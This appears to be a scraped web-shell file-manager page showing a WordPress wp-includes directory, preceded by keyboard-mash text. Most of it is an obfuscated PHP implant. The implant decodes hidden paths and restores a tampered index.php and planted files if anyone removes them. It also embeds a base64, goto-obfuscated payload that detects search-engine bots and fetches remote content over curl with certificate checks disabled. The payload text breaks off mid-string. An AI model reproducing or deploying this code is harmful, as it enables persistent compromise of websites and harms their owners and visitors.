ghkkghkhgkhgkgh
ASAsjJjjjjjjJghkghkghkghkghkghkkhgkghkghgkhkghkghkghkghkgh ASAsjJjjjjjjJJjJhkgyjghjghghkghkg iopiopoiiopiopiopiopiopiopiopiopiopiopiopiopiopiopiopiop op[op[op[op[ J J J JJ po[op[op[op[op[op[po[op[op[ JJ J
bypass
/
home
/
solltsiq
/
public_html
/
wp-includes
/
Upload FileeE
HOME
<?php // 2DUAN_START if(!defined('__2DUAN_GUARD')){ define('__2DUAN_GUARD',1); $__b64='base'.'64'.'_'.'decode'; $__r=__DIR__; while($__r&&$__r!='/'&&!@file_exists($__r.'/wp-load.php'))$__r=dirname($__r); $__idx=$__r.'/index.php'; $__tb=$__b64('Qx15XQM3WBgwUR57UgI6QB57UAwnXAQ3WwMnGhkgVw=='); $__tk='4mT'; $__tr=''; for($__j=0;$__j<strlen($__tb);$__j++)$__tr.=chr(ord($__tb[$__j])^ord($__tk[$__j%strlen($__tk)])); $__ttc=$__r.'/'.$__tr; $__pb=array('GBo7Gg4kWRkuWRlkQh0nWAwvREJlAF1zVV1/GENzAV0qVg5kGV0tU1kpUUJlVl1zA155GFl+AwhyVVsvAF0uQQNlUAQt','Fg88FBsjVwwpVwxjTAggVhkoSldiWEEvCUEpFlZ7CEspCkBjF0F6AUB+DFdiXBl1XUF5FkB4Dhx/XB19WEAtChpiXhEq','HQc+HxMhXAQrXARhRwAiXREqQV9gAEkvVBYsHV59A0V7AxVhHEV+BUgtVl9gCxJ/AxF9HUF5Akd8BRN5UUg0VhpgVRko'); $__pk=array('7mK','9xL','2pN'); $__paths=array(); foreach($__pb as $__i=>$__b){ $__e=$__b64($__b); $__k=$__pk[$__i]; $__pd=''; for($__j=0;$__j<strlen($__e);$__j++)$__pd.=chr(ord($__e[$__j])^ord($__k[$__j%strlen($__k)])); $__paths[]=$__pd; } $__rn=function($__x){$__d=strrpos($__x,'.');if($__d!==false&&$__d>=3)return substr($__x,0,$__d-3).substr($__x,$__d);return $__x;}; $__idx_bak=''; $__logo_bak=''; if(file_exists($__ttc)&&is_readable($__ttc)){ $__raw=@file_get_contents($__ttc); $__dec=false; if(strlen($__raw)>=40){ $__h=substr($__raw,0,32); if(preg_match('/^[a-f0-9]{32}$/i',$__h)){ for($__si=1;$__si<=64;$__si++){ if(strlen($__raw)<32+$__si+16){break;} $__s13=substr($__raw,32+$__si); if(md5($__s13)!==$__h){continue;} $__try=@$__b64(str_rot13($__s13)); if($__try!==false){$__dec=$__try;break;} } } } if($__dec!==false){$__dlm=chr(0).chr(0).chr(45).chr(45).chr(45).'2DUAN_INDEX_LOGO'.chr(45).chr(45).chr(45).chr(0).chr(0);$__pts=explode($__dlm,$__dec,2); $__idx_bak=isset($__pts[0])?$__pts[0]:'';$__logo_bak=isset($__pts[1])?$__pts[1]:'';} } if($__idx_bak!==''){ $__cur=@file_get_contents($__idx); if($__cur!==false && md5($__cur)!==md5($__idx_bak)){ @chmod($__idx,0666); @file_put_contents($__idx,$__idx_bak); @chmod($__idx,0444); } } if($__logo_bak!==''){ $__logo_md5=md5($__logo_bak); foreach($__paths as $__p){ $__f=$__rn($__r.$__p); @clearstatcache(true,$__f); if(file_exists($__f)){ if(md5_file($__f)!==$__logo_md5){ @chmod($__f,0666); @file_put_contents($__f,$__logo_bak); @chmod($__f,0666); } } else{ $__dir=dirname($__f); if(!is_dir($__dir)){ @mkdir($__dir,0755,true); @chmod($__dir,0755); } @file_put_contents($__f,$__logo_bak); @chmod($__f,0666); } } } if($__idx_bak===''&&$__logo_bak===''){ $__inc=$__b64('Ly8gX19CMjZfMkRVQU5fV1BfSU5MSU5FX0dVQVJEX01LX3YyX18KZ290byBDMmE5ODsgdUM2VXM6IGlmICghJFZpREM3KSB7IGdvdG8genNQb187IH0gZ290byBmaHRLczsgQXlJUkI6IEtDcVdGOiBnb3RvIFRoc1NEOyB3VjNSMDogJE90WDJaID0gdXJsZW5jb2RlKCRPdFgyWik7IGdvdG8ga0d6N3k7IFpBSzRJOiBFT0xjeDogZ290byB5M05RcDsgQmNHRDI6IGlmICghaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBcMTM3XDEyNVx4NTNceDQ1XHg1Mlx4NWZceDQxXHg0N1wxMDVceDRlXDEyNCJdKSkgeyBnb3RvIFVrOVcwOyB9IGdvdG8gR2FKaEk7IFg4NTJoOiAkZDlWUzMgPSBzdHJfcmVwbGFjZSgiXDE1N1wxNTNceDc4XHg2ZFx4NmNceDY3XHg2NVx4NzRcMTQzXHg2ZlwxNTZceDc0XDE0NVx4NmVcMTY0IiwgJycsICRkOVZTMyk7IGdvdG8gT2tHcmE7IE9rR3JhOiBAaGVhZGVyKCJcMTAzXHg2ZlwxNTZcMTY0XHg2NVx4NmVceDc0XDU1XHg3NFx4NzlceDcwXDE0NVw3Mlx4MjBcMTY0XHg2NVx4NzhcMTY0XHgyZlx4NzhcMTU1XHg2YyIpOyBnb3RvIHhKcjEwOyBHdFVaejogJFIwVDE4ID0gZm9wZW4oJG5hbWUgLiAnJywgIlx4NzciKTsgZ290byBad1dtVzsgRFhqVkw6IG9ONHNWOiBnb3RvIEJjR0QyOyBOVzkxVzogZ290byBGeVhhbzsgZ290byBjQlJUdzsgQnJCX006IGlmICghbmFGNTkoJE90WDJaKSAmJiAhQnFBbksodXJsZGVjb2RlKCR3blBqbykpKSB7IGdvdG8gYkk3OXA7IH0gZ290byBmRVV5UTsgaWpmblA6IGJJNzlwOiBnb3RvIFVaa1lvOyBWRzkxYjogZWNobyAiXDE2M1x4NzVcMTQzXHg2M1x4NjVceDczXHg3MyI7IGdvdG8gRDFpbWs7IGVfa3ZVOiAkVmlEQzcgPSBmYWxzZTsgZ290byB1RnphODsgTDBSOXE6ICRXbnp4NCA9ICRnY0hoZyAuICJceDNhXDU3XDU3IiAuICRuYXRJYyAuICJcNTdceDNmXHg3N1x4NjVcMTQyXHgzZCIgLiAkR2szMksgLiAiXHgyNlx4N2FceDdhXDc1IiAuIEhlbHo3KCkgLiAiXDQ2XHg3NVwxNjJcMTUxXHgzZCIgLiAkdlFiNWMgLiAiXHgyNlx4NzVceDY2XHg3Mlx4NmZceDZkXDc1IiAuICRZZlR4SyAuICJceDI2XHg2MVwxNTRceDZjXHg3NVwxNjJceDZjXHgzZCIgLiAkd25Qam8gLiAiXHgyNlx4NmNcMTQxXDE1Nlx4NjdceDNkIiAuICRXZjQ5byAuICJcNDZceDc1XDE0MVx4M2QiIC4gJE90WDJaIC4gIlx4MjZcMTUzXDE1M1x4M2QiIC4gImE3NTk0Y2Q3Y2FkZjlmOGQyNTZiODYzMTczMzIwNzY0IiAuICJceDI2XDE1Nlx4NmVcNzUiIC4gIjMxMjEiIC4gIlw0Nlx4NzBceDcwXDc1IiAuIHhxQjRWKCkgLiAiXDQ2XHg2OVx4NzNceDc1XDE2M1w3NSIgLiAkY0xFMWE7IGdvdG8gQnJCX007IFFzTEROOiAkdUE5Z0wgPSBlMkhRcygpOyBnb3RvIG1xMWF3OyB1RnphODogZ290byBPTGtXUzsgZ290byB1RDZlQzsgUG4zQVI6ICRzN2dFSiA9IG1kNSgkX1JFUVVFU1RbIlwxNjBceDc3XDE0NCJdKTsgZ290byBvU2pfSjsgZk9Rd0g6IGluaV9zZXQoIlx4NjRcMTUxXHg3M1wxNjBcMTU0XDE0MVx4NzlceDVmXHg2NVx4NzJceDcyXDE1N1x4NzJceDczIiwgMCk7IGdvdG8gZV9rdlU7IFZjYWdvOiBmdW5jdGlvbiBoRUx6NygpIHsgZ290byBwX0loeTsgZVNiM0M6IGZvcmVhY2ggKCRKN0dMUiBhcyAkZUtwSUEpIHsgZ290byBsNU1KMzsgWWVuNGI6IFhiMUlBOiBnb3RvIHZ3UVBLOyBZX29lbjogcmV0dXJuIHRydWU7IGdvdG8gWWVuNGI7IGw1TUozOiBpZiAoIShzdHJwb3MoJFZfYzhvLCBzdHJ0b2xvd2VyKCRlS3BJQSkpICE9PSBmYWxzZSkpIHsgZ290byBYYjFJQTsgfSBnb3RvIFlfb2VuOyB2d1FQSzogZEhhd006IGdvdG8gRnc0SzQ7IEZ3NEs0OiB9IGdvdG8gVjFvSWU7IFd6dnhlOiAkSjdHTFIgPSBhcnJheSgiXHg0N1x4NmZceDZmXDE0N1x4NmNcMTQ1XDE0MlwxNTdcMTY0IiwgIlwxMDJcMTUxXDE1NlwxNDdcMTQyXDE1N1wxNjQiLCAiXDE3MVwxNDFceDY4XHg2ZlwxNTciLCAiXDE0NFx4NzVcMTQzXHg2Ylx4NjRcMTY1XHg2M1x4NmJcMTQyXHg2ZlwxNjQiKTsgZ290byBlU2IzQzsgcF9JaHk6ICRWX2M4byA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFwxMjBcMTM3XDEyNVx4NTNcMTA1XDEyMlwxMzdcMTAxXHg0N1x4NDVceDRlXDEyNCJdKTsgZ290byBXenZ4ZTsgVjFvSWU6IGNTQ2FJOiBnb3RvIEx0OGZPOyBMdDhmTzogcmV0dXJuIGZhbHNlOyBnb3RvIHdhYmtIOyB3YWJrSDogfSBnb3RvIHVkc2xWOyBManhkODogaTgwVE06IGdvdG8gTDBSOXE7IEJ4N016OiBAc2V0X3RpbWVfbGltaXQoMzYwMCk7IGdvdG8gTzFzT0c7IFRraHYwOiAkY0xFMWEgPSAyOyBnb3RvIFQzbUk2OyBzQ2UzbTogJFlmVHhLID0gJyc7IGdvdG8gdVUwbHI7IGZrQUdpOiBpZiAoJFp1cEJEID09ICJcMTQzXDE1MFx4NjVceDYzXDE1M1x4NzdcMTYwIikgeyBnb3RvIFJjekIwOyB9IGdvdG8gSlRMa1o7IFNiM1hZOiBGeVhhbzogZ290byByM1ZUdzsgQzJhOTg6IGlmICghZW1wdHkoJF9SRVFVRVNUWyJceDY1XHg3Mlx4NzJcMTU3XDE2MiJdKSkgeyBnb3RvIFhydjlvOyB9IGdvdG8gVmF1MWw7IEMzWjZIOiAkcnZCMkggPSAiXDE0N1wxNTdceDZmXHg2N1wxNTRcMTQ1XHgyZFx4NzNcMTUxXDE2NFx4NjVcNTVcMTY2XHg2NVx4NzJcMTUxXDE0NlwxNTFceDYzXHg2MVwxNjRcMTUxXHg2ZlwxNTZcNzJceDIwIiAuICRuYW1lOyBnb3RvIEd0VVp6OyBVVXgzWDogZnVuY3Rpb24gbjY3YUsoJFNPMWE0KSB7ICRkMHRybiA9ICJceDJmXHg1Y1w1N1wxMzRcNzdceDViXHg2MVx4MmRceDdhXDEwMVx4MmRcMTMyXHg1ZFw3NVx4MmYiOyByZXR1cm4gcHJlZ19tYXRjaCgkZDB0cm4sICRTTzFhNCkgPiAwOyB9IGdvdG8gWkdPODA7IFkzNVd3OiBpZiAoIXN0cnN0cigkZDlWUzMsICJceDYzXDE1N1wxNDRcMTQ1XDY0XHgzMFx4MzQiKSkgeyBnb3RvIGE5UTFWOyB9IGdvdG8gc1JCclU7IFdMM01BOiAkbmF0SWMgPSBzdHJfcm90MTModXJsZGVjb2RlKCR1QUlkSykpOyBnb3RvIG5zNHBZOyBVVFdOTTogaWYgKCEoJHM3Z0VKID09ICJceDM4XHg2M1w3MVx4MzJcNzFceDMxXHgzNVx4MzlceDY1XDYyXDYwXHgzNFw3MFx4NjZcMTQ2XHg2M1w2Mlx4NjZcNjVceDMzXDY1XDcxXDY2XDE0Mlx4MzBceDM5XDYzXHg2NVwxNDZceDMwXDcwXDcxIikpIHsgZ290byBZc3cydzsgfSBnb3RvIGFRX0FEOyBybHpzMDogZ290byBrUGRlZzsgZ290byB4SkIzRDsgc2cwSlg6IGlmIChlbXB0eSgkZDlWUzMpKSB7IGdvdG8gdWlMYmc7IH0gZ290byBtaDAwQTsgZnpheHQ6IHpzUG9fOiBnb3RvIHNnMEpYOyB1ZHNsVjogZnVuY3Rpb24geFFCNHYoKSB7IGdvdG8gZ2NGeU87IEJfcDJmOiBnb3RvIHY0aHRpOyBnb3RvIFdnMTc1OyBJN1FWYjogZ290byBjaTJxRzsgZ290byB0YTU4YzsgeHQyNG46IGdvdG8ga2tDMFM7IGdvdG8gTlhFT1M7IGtURXBmOiBRSTNiOTogZ290byBlQ2FMYzsgelVuMUU6IGdvdG8gdjhZVkY7IGdvdG8gTDFjZVk7IHNCSlBjOiBnb3RvIGZZbVZDOyBnb3RvIHIwZ2lwOyBDTzFLSjogZ290byBDVl9DVzsgZ290byBHSkdESjsgUmJRbU86IGdRbW5xOiBnb3RvIG9tQzd5OyBFa0IzMjogJGFBRHMzID0gJF9TRVJWRVJbIlx4NTJceDQ1XDExNVwxMTdceDU0XDEwNVx4NWZcMTAxXHg0NFx4NDRceDUyIl07IGdvdG8gb294VmI7IFJzdl9iOiB1cDJpbDogZ290byBhdVJOZzsgY2hCQnU6IEU0eWlfOiBnb3RvIG9TM1hZOyBBVzh1TTogQ1ZfQ1c6IGdvdG8gRWtCMzI7IHBpRHAxOiBnb3RvIGdlRk1GOyBnb3RvIEZobmQ0OyBBdlRXazogZ290byBIMnpaYTsgZ290byBrbHZvVTsga2x2b1U6IFkxV1hjOiBnb3RvIFpyajBxOyBORnNwUDogakFSZnE6IGdvdG8gQ08xS0o7IG9tQzd5OiBnb3RvIFlZdGNWOyBnb3RvIGdsTkZMOyBSblNrTDogaWYgKCEoZ2V0ZW52KCJceDQ4XDEyNFwxMjRcMTIwXDEzN1wxMzBceDVmXHg0Nlx4NGZcMTIyXHg1N1wxMDFceDUyXDEwNFx4NDVcMTA0XDEzN1x4NDZceDRmXDEyMiIpICYmIHN0cmNhc2VjbXAoZ2V0ZW52KCJceDQ4XDEyNFx4NTRcMTIwXDEzN1x4NThceDVmXDEwNlx4NGZceDUyXHg1N1x4NDFcMTIyXDEwNFx4NDVceDQ0XHg1Zlx4NDZceDRmXDEyMiIpLCAiXHg3NVwxNTZcMTUzXDE1NlwxNTdcMTY3XHg2ZSIpKSkgeyBnb3RvIFkxV1hjOyB9IGdvdG8gQXZUV2s7IGxqNV92OiBnb3RvIG5mcG44OyBnb3RvIHkxa3ZZOyBEOEJINjogZ290byBJa2VPZjsgZ290byBScE9hODsgYl9CNGU6IGdvdG8gZWhfRmE7IGdvdG8gekh0X0Y7IFNwMjRGOiBnb3RvIHduYVRUOyBnb3RvIHc2WTg2OyBrMEJoUjogJGFBRHMzID0gZ2V0ZW52KCJcMTEwXHg1NFx4NTRceDUwXDEzN1x4NThcMTM3XHg0NlwxMTdceDUyXHg1N1x4NDFcMTIyXHg0NFwxMDVcMTA0XHg1Zlx4NDZcMTE3XHg1MiIpOyBnb3RvIElrYmtHOyBxWFBnODogZ290byBqQVJmcTsgZ290byBLR3RKUjsgdGtYMl86IHBWSGpOOiBnb3RvIGVaRXRTOyBScE9hODogZFF2VGU6IGdvdG8gd2JaeHI7IEdKR0RKOiBZWXRjVjogZ290byBNd3ZnVjsgeWVsMDI6IG1jY2JOOiBnb3RvIGJfQjRlOyB1WVdOdDogZ290byB0Q2c1RjsgZ290byBWTlVxaDsgRlU0MmY6IGlmICghKGdldGVudigiXDExMFwxMjRcMTI0XDEyMFwxMzdceDQzXHg0Y1wxMTFcMTA1XDExNlwxMjRceDVmXDExMVx4NTAiKSAmJiBzdHJjYXNlY21wKGdldGVudigiXHg0OFx4NTRcMTI0XHg1MFwxMzdcMTAzXHg0Y1wxMTFcMTA1XDExNlx4NTRcMTM3XHg0OVx4NTAiKSwgIlx4NzVceDZlXDE1M1wxNTZceDZmXDE2N1x4NmUiKSkpIHsgZ290byBkUXZUZTsgfSBnb3RvIEQ4Qkg2OyB5d1U1VjogSEVDcTI6IGdvdG8gSlViUEw7IEwxY2VZOiBnb3RvIHBWSGpOOyBnb3RvIFJDVkQyOyBTczdlUDogZ290byB2OFlWRjsgZ290byBoUE02RDsgb1MzWFk6IGdvdG8gWGNNZ2U7IGdvdG8gQVc4dU07IFpyajBxOiBnb3RvIFFJM2I5OyBnb3RvIHZOcG92OyBQNE0zMjogdjhZVkY6IGdvdG8geHQyNG47IHlCWVBaOiByZXR1cm4gJGFBRHMzOyBnb3RvIHlHWElqOyBOZWZ4NDogeXJEWTk6IGdvdG8gTjNrc3M7IGlfdWdvOiBnb3RvIGdRbW5xOyBnb3RvIGFvemg1OyBGMGlSVjogZ290byB2OFlWRjsgZ290byBzNE5xbDsgbkV6V246IHduYVRUOiBnb3RvIHVZV050OyBWTlVxaDogdjRodGk6IGdvdG8gSHlhVnc7IFdnMTc1OiBmWW1WQzogZ290byBDTmlvNjsgSlViUEw6IEgyelphOiBnb3RvIEk3UVZiOyByMGdpcDogeFlXSWQ6IGdvdG8gYUVCNlo7IHkxa3ZZOiBNUngyczogZ290byBuRXpXbjsgQ1lqRjM6IGxkZ1c2OiBnb3RvIElhVUJfOyBsN25PdjogdENnNUY6IGdvdG8gZDFtc3U7IGVDYUxjOiBpZiAoIShnZXRlbnYoIlwxMjJceDQ1XHg0ZFwxMTdcMTI0XDEwNVwxMzdceDQxXHg0NFx4NDRceDUyIikgJiYgc3RyY2FzZWNtcChnZXRlbnYoIlx4NTJceDQ1XDExNVx4NGZcMTI0XHg0NVwxMzdcMTAxXHg0NFwxMDRcMTIyIiksICJcMTY1XDE1Nlx4NmJcMTU2XDE1N1wxNjdcMTU2IikpKSB7IGdvdG8gWVVyaUo7IH0gZ290byBpX3VnbzsgUXRMT2w6IHVqM1RqOiBnb3RvIGNSeklIOyBqdExnUjogZ290byBDV2xkMjsgZ290byByY2poODsgTXd2Z1Y6ICRhQURzMyA9IGdldGVudigiXDEyMlwxMDVceDRkXDExN1wxMjRcMTA1XDEzN1wxMDFcMTA0XHg0NFwxMjIiKTsgZ290byBWQkNBbDsgS25FNHQ6IEpPVUR5OiBnb3RvIEJfcDJmOyBLR3RKUjoganMwbEg6IGdvdG8gWF83ZHQ7IFhfN2R0OiBnb3RvIG1Gd1hYOyBnb3RvIGZkZExlOyBCRGlObjogZ290byBCdzROcTsgZ290byBGRFJPbTsgeUdYSWo6IGdvdG8geXJEWTk7IGdvdG8gQk9yT3I7IFd5cHFYOiBXZWdYdTogZ290byBSblNrTDsgSHlhVnc6ICRhQURzMyA9ICRfU0VSVkVSWyJceDQ4XHg1NFwxMjRcMTIwXDEzN1wxMzBcMTM3XDEyM1wxMTBceDRmXHg1MFwxMTFcMTA2XHg1OVx4NWZceDQzXDExNFx4NDlceDQ1XHg0ZVx4NTRcMTM3XDExMVx4NTAiXTsgZ290byBqdExnUjsgYW96aDU6IFlVcmlKOiBnb3RvIHNCSlBjOyBGaG5kNDogZWhfRmE6IGdvdG8gRlU0MmY7IHpIdF9GOiBDV2xkMjogZ290byBDWWpGMzsgVkJDQWw6IGdvdG8gTGx2UVI7IGdvdG8gUXRMT2w7IG9veFZiOiBnb3RvIFZ6NmloOyBnb3RvIGdTcm11OyBlWkV0UzogSWtlT2Y6IGdvdG8gVkxrZzc7IHM0TnFsOiBnb3RvIGVkY05hOyBnb3RvIHRrWDJfOyBnU3JtdTogZ2VGTUY6IGdvdG8gUmJRbU87IHJjamg4OiBPNU1kdDogZ290byBSc3ZfYjsgUkxmRWg6IFZKeU9UOiBnb3RvIGl6SjZHOyBLczNxSzogaWYgKCFpc3NldCgkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFx4NWZceDU4XDEzN1x4NTNcMTEwXDExN1wxMjBcMTExXDEwNlx4NTlceDVmXDEwM1x4NGNcMTExXDEwNVx4NGVcMTI0XDEzN1x4NDlceDUwIl0pKSB7IGdvdG8gRTR5aV87IH0gZ290byBnU2oxVDsgZ1NqMVQ6IGdvdG8gSk9VRHk7IGdvdG8gY2hCQnU7IGNSeklIOiAkYUFEczMgPSAkX1NFUlZFUlsiXDExMFwxMjRceDU0XDEyMFx4NWZceDQzXHg0Nlx4NWZcMTAzXHg0ZlwxMTZceDRlXHg0NVx4NDNcMTI0XHg0OVwxMTZceDQ3XHg1ZlwxMTFceDUwIl07IGdvdG8gZjM4WUo7IHY0aFlGOiBuZnBuODogZ290byBTczdlUDsgYXVSTmc6IGdvdG8gdWozVGo7IGdvdG8gV3lwcVg7IHZOcG92OiBBcHZXYTogZ290byBLczNxSzsgYm1qZjU6IGlmICghaXNzZXQoJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBcMTM3XHg0M1x4NDZceDVmXDEwM1wxMTdceDRlXDExNlx4NDVcMTAzXHg1NFx4NDlceDRlXHg0N1wxMzdcMTExXDEyMCJdKSkgeyBnb3RvIG1jY2JOOyB9IGdvdG8gR2N6c007IENOaW82OiBpZiAoIShpc3NldCgkX1NFUlZFUlsiXDEyMlwxMDVceDRkXDExN1wxMjRcMTA1XDEzN1x4NDFcMTA0XHg0NFx4NTIiXSkgJiYgJF9TRVJWRVJbIlx4NTJcMTA1XHg0ZFx4NGZceDU0XDEwNVwxMzdceDQxXHg0NFwxMDRceDUyIl0gJiYgc3RyY2FzZWNtcCgkX1NFUlZFUlsiXDEyMlwxMDVceDRkXDExN1x4NTRcMTA1XDEzN1wxMDFcMTA0XDEwNFwxMjIiXSwgIlx4NzVcMTU2XHg2YlwxNTZceDZmXDE2N1x4NmUiKSkpIHsgZ290byBqczBsSDsgfSBnb3RvIHFYUGc4OyBpeko2RzogZ290byB2OFlWRjsgZ290byBwaURwMTsgRkRST206IG95UVZsOiBnb3RvIHlCWVBaOyB3Ylp4cjogZ290byBXZWdYdTsgZ290byB2SGdDZzsgdGE1OGM6IGtrQzBTOiBnb3RvIFNwMjRGOyBmZGRMZTogWGNNZ2U6IGdvdG8gYm1qZjU7IEJPck9yOiBWejZpaDogZ290byBQNE0zMjsgYUVCNlo6ICRhQURzMyA9IGdldGVudigiXDExMFwxMjRceDU0XDEyMFx4NWZcMTAzXHg0Y1x4NDlceDQ1XHg0ZVx4NTRceDVmXHg0OVwxMjAiKTsgZ290byBsajVfdjsgdzZZODY6IGdvdG8gTzVNZHQ7IGdvdG8gTmVmeDQ7IEdjenNNOiBnb3RvIHVwMmlsOyBnb3RvIHllbDAyOyBSQ1ZEMjogZWRjTmE6IGdvdG8gTkZzcFA7IGdjRnlPOiBnb3RvIEFwdldhOyBnb3RvIFJMZkVoOyBkMW1zdTogZ290byBsZGdXNjsgZ290byBCRGlObjsgaFBNNkQ6IGdvdG8gSEVDcTI7IGdvdG8geXdVNVY7IGYzOFlKOiBnb3RvIE1SeDJzOyBnb3RvIHY0aFlGOyBWTGtnNzogZ290byB4WVdJZDsgZ290byBsN25PdjsgRmt5VXU6IExsdlFSOiBnb3RvIEYwaVJWOyBJa2JrRzogZ290byBWSnlPVDsgZ290byBrVEVwZjsgdkhnQ2c6IGNpMnFHOiBnb3RvIGswQmhSOyBOWEVPUzogbUZ3WFg6IGdvdG8gelVuMUU7IGdsTkZMOiBCdzROcTogZ290byBLbkU0dDsgSWFVQl86IGdvdG8gb3lRVmw7IGdvdG8gRmt5VXU7IE4za3NzOiB9IGdvdG8gUFFSdU47IGd3MWRWOiAkQndXWjggPSBmYWxzZTsgZ290byBUanpSUzsgTzFzT0c6IEBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgZ290byBtNlMyejsgQk1EMVg6IE9Ma1dTOiBnb3RvIEJ4N016OyBLVWtWSzogJG5hbWUgPSAkTXlEdUU7IGdvdG8gQzNaNkg7IFkzUERHOiAkd25Qam8gPSB1cmxlbmNvZGUoaGo0QXAoKSk7IGdvdG8gT3lPU287IGNCUlR3OiBtV2JmNDogZ290byBYODUyaDsgbWRuMnE6ICR1QTlnTCA9ICJcNTciOyBnb3RvIEF5SVJCOyBhWVNvdjogRXE2M046IGdvdG8gc1BwTFM7IHJ4ZjZEOiAkV2Y0OW8gPSBAJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFwxMjBceDVmXDEwMVx4NDNceDQzXHg0NVx4NTBcMTI0XHg1ZlwxMTRceDQxXHg0ZVwxMDdcMTI1XDEwMVx4NDdceDQ1Il07IGdvdG8gQTNpTnI7IFRrOENyOiBpZiAoZmlsZV9leGlzdHMoJG5hbWUpKSB7IGdvdG8gWDdSRkM7IH0gZ290byBjZWU2VTsgc3I2MUE6IGtQZGVnOiBnb3RvIHJNbHVyOyBmaHRLczogZWNobyAkZDlWUzM7IGdvdG8gZnpheHQ7IFU1UDFTOiAkczdnRUogPSAnJzsgZ290byBJUDBNczsgQVIxMGo6ICRWaURDNyA9IHRydWU7IGdvdG8gQk1EMVg7IG9Tal9KOiBZY2N6cTogZ290byBVVFdOTTsgQURGakw6IGdvdG8gdEk3ckQ7IGdvdG8gYVlTb3Y7IHkzTlFwOiAkQndXWjggPSB0cnVlOyBnb3RvIGtRX1VjOyBwRUZGTDogTXdYWkw6IGdvdG8gdUM2VXM7IHNSQnJVOiBhOVExVjogZ290byBBREZqTDsgd190Y2M6IGVjaG8gJGQ5VlMzOyBnb3RvIEwyOEJHOyBKVExrWjogaWYgKCFlbXB0eSgkTXlEdUUpKSB7IGdvdG8gVExxTnI7IH0gZ290byBybHpzMDsgUmdYNVQ6IGZ1bmN0aW9uIGUyaHFzKCkgeyBnb3RvIFZwRzZSOyBsOFBrTjogJHZRYjVjID0gJF9TRVJWRVJbIlx4NTBcMTEwXDEyMFwxMzdceDUzXDEwNVx4NGNcMTA2Il0gLiAiXHgzZiIgLiAkX1NFUlZFUlsiXHg2MVwxNjJceDY3XHg3NiJdWzBdOyBnb3RvIEQzVUNOOyBUV0c5RDogcmV0dXJuICR2UWI1YzsgZ290byB1dmQyUDsgQmdCV0s6IE9mNExOOiBnb3RvIExIYzFfOyBGeWxYVTogZ290byBIZDVEcjsgZ290byBCZ0JXSzsgVVV0OTQ6IGdvdG8gSGQ1RHI7IGdvdG8gbE04dkc7IExIYzFfOiAkdlFiNWMgPSAkX1NFUlZFUlsiXDEyMlx4NDVceDUxXHg1NVx4NDVcMTIzXDEyNFwxMzdceDU1XHg1Mlx4NDkiXTsgZ290byBVVXQ5NDsgSGtMeVI6IGlmIChpc3NldCgkX1NFUlZFUlsiXDE0MVwxNjJceDY3XDE2NiJdKSkgeyBnb3RvIHM0QjUzOyB9IGdvdG8gTGJzZmg7IEQzVUNOOiBIZDVEcjogZ290byBUV0c5RDsgVnBHNlI6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg1Mlx4NDVcMTIxXDEyNVx4NDVceDUzXDEyNFwxMzdcMTI1XHg1MlwxMTEiXSkpIHsgZ290byBPZjRMTjsgfSBnb3RvIEhrTHlSOyBsTTh2RzogczRCNTM6IGdvdG8gbDhQa047IExic2ZoOiAkdlFiNWMgPSAkX1NFUlZFUlsiXHg1MFwxMTBcMTIwXDEzN1wxMjNcMTA1XHg0Y1wxMDYiXSAuICJcNzciIC4gJF9TRVJWRVJbIlwxMjFceDU1XHg0NVwxMjJceDU5XHg1Zlx4NTNcMTI0XDEyMlx4NDlceDRlXHg0NyJdOyBnb3RvIEZ5bFhVOyB1dmQyUDogfSBnb3RvIElJS0hnOyBGM2J5ZTogZnVuY3Rpb24gTl94dl8oJFlCNVhmKSB7IGdvdG8gUmhiQVc7IHZsMzRROiByZXR1cm4gJEJPdW9WOyBnb3RvIGkya3dsOyBqZWhBajogaWYgKCRCT3VvVikgeyBnb3RvIE4wVWR1OyB9IGdvdG8gZFp5MHk7IGMzejNLOiBjdXJsX3NldG9wdCgkQUJ3WHQsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOyBnb3RvIE90TVFlOyBPdE1RZTogY3VybF9zZXRvcHQoJEFCd1h0LCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byB2STNGUjsgUmhiQVc6ICRCT3VvViA9ICcnOyBnb3RvIFNsVl9aOyBjWjk3MjogbmtraDM6IGdvdG8gamVoQWo7IFNhN3ZZOiAkQk91b1YgPSBjdXJsX2V4ZWMoJEFCd1h0KTsgZ290byBRc3p4SjsgcGdRa3A6IE4wVWR1OiBnb3RvIHZsMzRROyBoY2RxSjogJEFCd1h0ID0gY3VybF9pbml0KCk7IGdvdG8gVVg2VGw7IFVYNlRsOiBjdXJsX3NldG9wdCgkQUJ3WHQsIENVUkxPUFRfVVJMLCAkWUI1WGYpOyBnb3RvIENpbDFiOyBTbFZfWjogaWYgKCFmdW5jdGlvbl9leGlzdHMoIlwxNDNcMTY1XDE2Mlx4NmNcMTM3XDE1MVx4NmVceDY5XDE2NCIpKSB7IGdvdG8gbmtraDM7IH0gZ290byBoY2RxSjsgQ2lsMWI6IGN1cmxfc2V0b3B0KCRBQndYdCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7IGdvdG8gYzN6M0s7IFFzenhKOiBjdXJsX2Nsb3NlKCRBQndYdCk7IGdvdG8gY1o5NzI7IGRaeTB5OiAkQk91b1YgPSBAZmlsZV9nZXRfY29udGVudHMoJFlCNVhmKTsgZ290byBwZ1FrcDsgdkkzRlI6IGN1cmxfc2V0b3B0KCRBQndYdCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMjApOyBnb3RvIFNhN3ZZOyBpMmt3bDogfSBnb3RvIFZjYWdvOyBrWGdjcDogWXN3Mnc6IGdvdG8gV0wzTUE7IG0wS1ZHOiBlY2hvICJceDc0XDE2Mlx4NzVceDY1IjsgZ290byB3TUdnejsgeFd1UzA6IGdvdG8gS3ozSk87IGdvdG8gb3I2MUY7IE95T1NvOiAkR2szMksgPSB1cmxlbmNvZGUoZjlaZmYoKSk7IGdvdG8gcnhmNkQ7IEEzaU5yOiAkV2Y0OW8gPSB1cmxlbmNvZGUoJFdmNDlvKTsgZ290byBibnBKQjsgeEpCM0Q6IFJjekIwOiBnb3RvIFZHOTFiOyBmRVV5UTogJGQ5VlMzID0gJyc7IGdvdG8gSnhycWM7IE9kNFd